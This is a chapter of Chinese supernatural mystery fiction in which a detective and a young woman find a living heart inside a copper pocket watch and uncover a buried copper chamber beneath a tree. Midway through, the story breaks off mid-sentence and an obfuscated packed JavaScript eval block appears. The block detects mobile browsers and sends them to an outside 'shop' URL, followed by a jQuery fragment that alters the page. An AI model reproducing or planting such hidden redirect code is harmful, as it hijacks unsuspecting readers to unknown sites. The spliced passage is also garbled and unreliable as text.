怀表不在镜子里。它在林小年的手心里。
周明远不知道她是什么时候从镜子里的那个自己手中接过它的——或者，是镜子里的那个自己把它递出来的。他只知道，此刻林小年站在穿衣镜前，右手握着一块冰凉的、沉甸甸的铜制怀表，左手的手指正摸索着表壳边缘那道细如发丝的划痕。
“别信那座钟。”
她念出那行字，声音很轻，像是在读一行她早已背熟的诗。
“你见过这块表？”周明远问。
“见过。”林小年说。“但不是在我母亲手里。是在陆渊手里——不，是在那个被关在地下室的陆渊手里。我六岁那年，他把它给了我。他说，这是我们家唯一真实的东西。”
“他说‘我们家’？”
“对。”林小年转过身，背靠着镜子，把怀表举到眼前，让阳光从窗户照进来，照在表盘上。“他说，这块怀表不是被制造的——它是被生出来的。和那些蜡像不一样，和那些冰封人像不一样，甚至和这座钟也不一样。它有自己的灵魂。一个真正的、独立的、不属于任何人的灵魂。”
她弹开表盖，表盘露出来。指针停在十点三十七分，和上次一模一样。但周明远注意到一个小细节——秒针在动。不是正常地跳动——是颤抖。一下一下地颤抖，像是想要往前走，但被什么东西卡住了，只能原地挣扎。
“它以前也这样吗？”他指着秒针。
林小年低下头看了看，眉头微微皱了一下。
“不。”她说。“以前它是不走的。从我六岁拿到它到现在，二十年了，它从来没走过。但现在——”
秒针又颤了一下。然后一下。然后一下。
每一下颤抖都伴随着一声极细微的咔嗒声，像是从很远很远的地方传来的、被压缩到几乎听不见的钟声。
林小年把怀表贴在耳朵上，闭上眼睛。她听了几秒，然后睁开眼睛，脸上的表情变了——不是惊讶，不是恐惧，是一种认出了什么东西的、确认了什么的神情。
“周警官，”她说，“你能听到吗？”
周明远接过怀表，贴在耳朵上。
起初他什么也没听到。只有那种贴紧金属时特有的、嗡嗡的、空旷的共鸣声。然后，在那片嗡嗡声的下面，他听到了另一个声音——一个有节奏的、稳定的、像是某种机械在运转的声音。
不是钟表的滴答声。是心跳。
一下。一下。一下。
和冰封大厅里那些冰棺传出的心跳声一模一样。但这一次，心跳声不是从八十个不同的方向传来的——它只有一个来源。就在他手心里，在这块小小的、铜制的、布满锈迹的怀表里。
“这块表里有颗心脏。”林小年说。
周明远放下怀表，看着她。
“不是比喻。”林小年说。“是一颗真的、活的、还在跳的心脏。很小，大概只有核桃那么大，但它是一颗完整的心脏。心房、心室、瓣膜、血管——都有。它被嵌在怀表的机芯里，代替了原来的发条。它每一次跳动，都在给这块表上弦。”
“谁的心脏？”
林小年没有回答。她走到走廊尽头，站在那枚孤零零的铜钉前，用手指轻轻摸了摸钉帽。铜钉很旧了，表面有一层绿色的铜锈，但钉帽上有一小块区域是光亮的、没有锈迹的——像是经常被人触摸。
“我母亲说，这块怀表是陆鸿远在1958年冬天买的。但她没有说，他在买这块表的时候，里面已经有一颗心脏了。那颗心脏不是后来放进去的——它从一开始就在那里。它是在这块表被铸造出来的时候，就被浇铸进铜壁里的。”
“和那座钟一样？”
“和那座钟一模一样。”林小年转过身。“这座钟和这块怀表，是同一批铸造的。用的是同一种技术，同一种材料，同一种——”
她停顿了一下，似乎在寻找一个合适的词。
“同一种灵魂。”
二
方恺从地下室上来的时候，脸色比之前更白了。他手里拿着一个平板电脑，屏幕上显示着一张X光图像——是那块怀表的。他趁周明远和林小年在走廊说话的时候，偷偷用便携式X光机扫描了怀表的内部。
“你说得对，”他把平板递给周明远，“里面确实有一颗心脏。但不止心脏。”
周明远接过平板，放大图像。
怀表的内部结构比他想象的要复杂得多。正常的怀表机芯由齿轮、弹簧、夹板组成，但这块怀表的机芯完全不同——它更像是一个微型的、被压缩到极致的人体器官系统。除了那颗核桃大小的心脏，还有一段卷曲的、像肠子一样的东西，一根细细的、中空的、像血管一样的管道，以及一个圆形的、表面布满褶皱的、像大脑一样的东西。
“这不是怀表。”方恺的声音有些发抖。“这是一个被压缩成怀表大小的人。它有心脏、有肠道、有血管、有神经——它什么都有。只是没有骨头。它的骨骼被替换成了铜制的框架，肌肉被替换成了弹簧，皮肤被替换成了黄铜外壳。但它的灵魂——”
“它有没有灵魂，我们不讨论。”周明远打断了他。“我们只讨论看得见的东西。这个东西——它是活的吗？”
方恺沉默了几秒。“心脏在跳，说明它是活的。但它的‘活’和我们理解的活不一样。它不需要氧气，不需要营养，不需要新陈代谢。它只是——在跳。在走。在维持。像一个被拧紧了发条的玩具，永远在动，永远不会停。”
“直到发条松了。”
“对。直到发条松了。”方恺推了推眼镜。“周队，我有个猜测。这个猜测没有证据，但我觉得你应该听听。”
“说。”
“这些蜡像、冰封人像、这座钟、这块怀表——它们都是同一个东西的不同形态。那个东西在尝试‘制造人’。用蜡、用冰、用铜、用铁——用任何它能找到的材料。它不挑剔。它只是需要‘人’。需要人的形状、人的功能、人的意识。它像是一个——我不知道该怎么形容——一个失忆的造物主。它忘记了怎么制造真正的人，所以它一直在试。一直在试。试了五千年。”
他低下头，看着平板屏幕上那颗跳动的心脏。
“这块怀表是它最成功的作品之一。因为它有了一颗真的心脏。但它也是最失败的——因为它只有心脏。没有大脑，没有灵魂，没有自我意识。它只是一个会跳动的、被囚禁在铜壳里的器官。”
林小年一直在听，没有插话。等方恺说完，她走到他面前，伸出手。
“把怀表给我。”
方恺看了周明远一眼。周明远点了点头。方恺从证物袋里取出怀表，递给林小年。
林小年接过怀表，没有弹开表盖，而是把它翻过来，用指甲沿着表壳边缘的一道几乎看不见的缝隙轻轻一撬。表壳打开了——不是弹开表盖的那种打开，是把整个背壳拆了下来。
背壳里面，刻着一幅画。
不是铭文，不是文字——是一幅画。一幅精细的、线条密集的、像地图一样的画。
周明远凑近看。那幅画描绘的是一栋建筑——一栋他认识的建筑。
老宅。
但不是现在的老宅。画中的老宅更大，更复杂，有很多他现在看不到的结构。除了主楼和地下室，画上还有一座塔楼——一座至少五层高的、尖顶的、像教堂一样的塔楼，矗立在老宅的东侧。塔楼的顶端，画着一座钟。
和客厅里那座钟一模一样的钟。
“这座塔楼呢？”周明远问。“老宅的东侧是一片空地，什么都没有。”
“现在什么都没有。”林小年说。“但以前有。1923年，苏明堂铸造这座钟的时候，这座塔楼是存在的。它和老宅是同时建成的——钟在塔楼里，塔楼是钟的家。但后来，不知道什么时候，塔楼被拆了。钟被搬到了客厅里，塔楼的地基被填平，上面盖了一个花园。”
“谁拆的？”
“陆鸿远。”林小年说。“1968年，他买下这栋房子的时候，做的第一件事就是拆掉塔楼。他雇了十几个工人，用了一个月的时间，把塔楼拆成了一堆碎石，然后用那些碎石填平了东边的地基，在上面种了一棵梧桐树。”
她走到走廊的窗户前，指着窗外那棵巨大的梧桐树。
“就是那棵。”
周明远顺着她的手指看过去。那棵梧桐树很老了，树干粗到两个人都抱不住，树冠遮住了大半个院子。他之前一直以为这棵树是和老宅同时代的，甚至更老——但现在看来，它只有五十多年的历史。
“他为什么要拆塔楼？”
“因为他要把钟藏起来。”林小年说。“塔楼太高了，太显眼了。站在几条街外都能看到它。陆鸿远不想让别人知道这座钟的存在——他想独占它。所以他拆了塔楼，把钟搬进客厅，然后用一座假墙封住了地下室的入口。但他不知道，塔楼不只是塔楼——它是这座钟的‘天线’。”
“天线？”
“对。塔楼的尖顶里有一根铜制的杆，从塔顶一直通到地下，连接到钟的底部。那根杆的作用是——把钟的‘信号’发射出去。传到这座城市的每一个角落。当塔楼还在的时候，这座钟不需要蜡像，不需要冰封人像，不需要任何人来喂养它。它只需要那根杆，就能接收到整座城市的情绪——所有人的恐惧、愤怒、悲伤、快乐、爱、恨——都是它的能量来源。”
她转过身，看着周明远。
“陆鸿远拆掉塔楼的时候，他以为他在保护这座钟。但实际上，他在饿死它。钟失去了能量的来源，开始衰竭。所以它不得不寻找新的能源——蜡像、冰封人像、守护者、祭品。所有这些都是塔楼被拆之后才出现的。在此之前，这座钟是自给自足的。它是这座城市的一部分，和这座城市一起呼吸、一起心跳。”
她低下头，看着手里的怀表。
“这块怀表也是一样。它本来也有一根‘天线’——那根杆。但杆断了。不知道什么时候断的，也许是在塔楼被拆的时候，也许更早。所以它也衰竭了。它的心脏还在跳，但它的发条松了。它需要一个新的能源来维持运转。”
她抬起头，看着周明远。
“它选了我。”
三
下午一点，方恺带着人撤了。
不是因为他想撤——是因为周明远让他撤的。周明远站在老宅门口，一个一个地跟他们说：“今天先到这里，回去休息，明天再说。”方恺看了他一眼，没有多问。他知道周明远在做什么——他在清场。他在把所有人从这栋房子里赶出去，不是为了保护他们，是为了保护这栋房子。为了不让更多的人看到它、感受它、被它吸收。
等所有人都走了，周明远回到客厅。林小年坐在沙发上，怀表放在茶几上，表壳开着，那颗心脏的跳动声在安静的客厅里清晰可闻。那三具蜡像还在原来的位置，穿白裙子的女人——现在长着林小年的脸——右手举在胸口，掌心朝上，像在祈祷。
“你该走了。”林小年说。
“我知道。”
“那你为什么还不走？”
周明远在沙发的另一头坐下来，看着她。
“林小年，你刚才说，这块怀表选了你。什么意思？”
林小年沉默了一会儿。然后她拿起怀表，把它放在自己的胸口，正对着心脏的位置。
“你听。”她说。
周明远倾过身去。他听到了两个声音——一个是怀表里那颗心脏的跳动声，一下一下，稳定而微弱。另一个是林小年胸腔里的心跳声，比怀表的声音大得多，也更急促。
两个声音不在同一个节奏上。一个快，一个慢，像两个不同频率的节拍器。
但就在他听着的时候，节奏开始变了。林小年的心跳在慢慢变慢，怀表的心跳在慢慢变快——它们在靠近。朝着同一个节奏，同一个频率，同一个时间。
大约一分钟后，两个声音合在了一起。
咚。咚。咚。
分不清哪个是怀表的，哪个是林小年的。
林小年把怀表从胸口拿开，放在茶几上。两个心跳又分开了——林小年的心跳恢复了正常的节奏，怀表的心跳也恢复了自己的节奏。但周明远注意到，怀表的秒针不再颤抖了。它在走。稳定的、连续的、一秒一秒地在走。
十点三十七分。十点三十八分。十点三十九分。
“它在走。”周明远说。
“对。”林小年说。“因为它从我这里得到了一点点能量。只是一点点——够它走几分钟的。几分钟之后，它会停下来，回到原来的样子。但下一次，如果我把怀表放在胸口的时间更长一点，它就能走更久。再下一次，更久。直到有一天——”
“直到它从你身上得到的能量，够它永远走下去。”
林小年点了点头。
“这就是‘选中’的意思。不是它选了我——是我选了它。我选择把我的生命分给它。一次一点，一次一点，直到分完为止。”
“那你还能活多久？”
林小年笑了。那个笑容不是林晚棠的，不是照片上的，不是镜子里的——是她自己的。年轻的、脆弱的、但异常清醒的笑。
“周警官，你觉得一个被设计出来、专门为一座钟提供能源的人，能活多久？”
周明远没有回答。
“我不会死的。”林小年说。“我会一直活着，活到这座钟不再需要我的那一天。但那一天永远不会来。所以我会一直活着——像那些蜡像一样，像那些冰封人像一样。但我比他们幸运——我不会被冰封，不会被重置，不会被清除记忆。我会记得一切。记得我母亲，记得陆渊，记得你。记得每一天，每一秒，每一次心跳。”
她低下头，看着怀表。
“这就是诅咒。不是死亡——是永远不会忘记的活着。”
客厅里安静了很久。阳光从窗户移到地板上，移到蜡像的脚边，移到茶几的边缘，移到林小年光着的脚上。她穿着一双白色的运动鞋——不，她没有穿鞋，她一直光着脚。那双白色的运动鞋整齐地放在沙发旁边，鞋带系得一丝不苟。
“林小年，”周明远终于开口，“你打算什么时候进去？”
“进石棺？”
“对。”
林小年拿起怀表，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420314|200811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把它放进衬衫的口袋里。铜制的表壳贴着她的胸口，隔着薄薄的布料，能看出一个模糊的、圆形的轮廓。
“等第七天。”她说。“等钟声敲响。等石棺打开。等我看到我母亲——或者看不到她。到那时候，我就会知道。”
“知道什么？”
“知道我是该进去，还是该留下来。”
她站起来，走到窗边，看着窗外那棵梧桐树。树的影子已经拉得很长了，从院子的东边一直延伸到西边的围墙。
“周警官，你知道吗？这棵树的下面，埋着塔楼的地基。那些碎石，那些砖块，那些铜制的碎片——都在土里。五十多年了，它们一直在那里，等着被人挖出来。”
“你要挖？”
“不是我。”林小年转过身。“是你。明天，带几个人来，带几把铁锹，在那棵树下挖。你会找到一些东西——一些陆鸿远没有来得及销毁的东西。那些东西会告诉你，这座钟到底是什么。它会告诉你，为什么我母亲会变成现在这样。它会告诉你——”
她停顿了一下。
“它会告诉你，第十三下钟声敲响的时候，我们该怎么办。”
四
周明远没有等到明天。
他回到局里，叫了三个人，借了一把铁锹、一把镐头、一个金属探测器，然后在天黑之前赶回了老宅。林小年站在门口，手里拿着两把铁锹，一把递给他，一把留给自己。
“你不用——”
“我知道我不用。”她打断了他。“但我还是想挖。这是我母亲的家，这是她的树，这是她埋在地下的秘密。我有权利亲手把它们挖出来。”
他们在那棵梧桐树下挖了两个小时。
天完全黑了之后，方恺带着两个探照灯来了，把灯架在树枝上，照亮了树根周围的一大片区域。泥土被一锹一锹地翻出来，堆在旁边的塑料布上。金属探测器响过几次——第一次是一枚生锈的铁钉，第二次是一块碎玻璃，第三次是一截铜丝，第四次——
第四次，探测器发出了持续的、高亢的鸣叫。
方恺蹲下来，用手拨开泥土。土层下面，露出一块深绿色的、布满铜锈的金属板。金属板大约半米见方，表面刻着密密麻麻的文字和图案。
周明远跳进坑里，用铁锹沿着金属板的边缘挖。泥土松软，很容易挖。十分钟后，整块金属板暴露了出来——它不是一块单独的板，而是一扇门。一扇嵌入地下的、铜制的、和地面齐平的门。
门上有一个把手。圆形的、铜制的、和怀表一样大小的把手。
周明远握住把手，用力往上拉。
门没有动。
他又拉了一下。还是没动。
林小年跳进坑里，蹲下来，用指甲抠掉把手周围的泥土。把手下面，露出一个凹槽——和怀表一模一样的凹槽。
她从口袋里掏出怀表，对准凹槽，按进去。
咔嗒。
门弹开了一条缝。
一股冷风从门缝里涌出来——不是冰封大厅那种刺骨的寒冷，而是一种干燥的、带着金属气味的冷风，像是从一个很久没有打开过的保险柜里吹出来的。
周明远用铁锹撬开门。门后面是一段向下延伸的铜制阶梯，阶梯很陡，每一级都很窄，只能容纳半只脚。阶梯的两侧是铜制的墙壁，墙壁上刻满了铭文——和黑色石棺内壁上一模一样的苏美尔楔形文字。
方恺从坑边探下头来。“周队，我先下去看看。”
“不。”周明远拦住他。“我下去。”
他从探照灯架上取下一盏灯，拎在手里，踏上了第一级阶梯。
铜制的阶梯在他脚下发出沉闷的响声，像钟声。
一级。两级。三级。
他走了大约二十级，脚下忽然踩到了平地。他举起探照灯，照亮了面前的空间。
这是一个圆形的房间。不大，直径大约三米，高度大约两米五。墙壁是铜制的，地板是铜制的，天花板也是铜制的——整个房间像是一个被铸进地下的巨大铜钟的内部。
房间的正中央，立着一样东西。
一根柱子。铜制的柱子，大约一人合抱那么粗，从地板一直通到天花板。柱子的表面不是光滑的——它布满了凸起的纹路，那些纹路缠绕在一起，像是血管，像是神经，像是某种巨大生物的——
“心脏。”方恺的声音从身后传来。他不知道什么时候跟了下来，正站在周明远身后，瞪大了眼睛看着那根柱子。“这是一颗心脏。一颗巨大的、铜制的心脏。”
周明远走近柱子，举起探照灯，仔细看那些纹路。它们确实是血管——粗的、细的、最细的像头发丝一样，从柱子的底部一直延伸到顶部，然后穿过天花板，向四面八方发散出去。
“这些血管通到哪里？”他问。
方恺沿着墙壁走了一圈，用手指敲打着铜制的墙面。敲到某一处的时候，声音变了——不是实心的，是空的。
“这里有一扇门。”他说。
周明远走过去。方恺指的那处墙壁上，有一个极浅的、几乎看不见的凹槽——和怀表凹槽的形状一样，但要大得多。大约有一人高，半米宽。
“这是通往哪里的门？”周明远问。
没有人回答。他转过身，林小年不知道什么时候也下来了，正站在那根铜柱前，一只手按在柱子的表面，闭着眼睛。
“林小年？”
她睁开眼睛。
“这根柱子，”她说，“就是塔楼的地基。当年陆鸿远拆掉塔楼的时候，他以为他把整个塔楼都拆了。但他没有——他把最核心的部分留在了地下。这根柱子，就是塔楼的‘心脏’。它一直在这里，五十年了，从来没有停止过运转。”
她把手从柱子上收回来，掌心印着一块铜绿色的印记。
“它一直在等。等有人来重新启动它。等塔楼重新建起来。等钟重新回到塔楼里。等这座城市重新听到钟声——”
她看着周明远。
“——真正的钟声。不是那座钟的钟声。是这座城市的钟声。是时间的钟声。是我们所有人的心跳汇在一起、形成的那一声——”
她张开嘴，但没有发出声音。
周明远看着她的嘴唇，读出了那个字：
“咚。”
探照灯忽然闪了一下。然后铜制的墙壁开始震动，发出低沉的、持续的嗡鸣声。那根柱子上的血管纹路开始发光——不是电灯那种明亮的光，而是一种暗红色的、脉动的、像余烬一样的光。
一下。一下。一下。
和心跳的频率一模一样。
方恺的手机响了。他接起来，听了几秒，脸色变了。
“周队，冰封大厅里的那些冰棺——全部在发光。和这根柱子一样，暗红色的光。还有那些黑色石棺——温度升到了二十五度。还在继续升。”
周明远看着那根脉动的铜柱，看着那些暗红色的血管，看着这个被埋在地下五十年的、仍然在跳动的心脏。
“我们不该下来。”他说。
林小年看着他。
“我们已经下来了。”她说。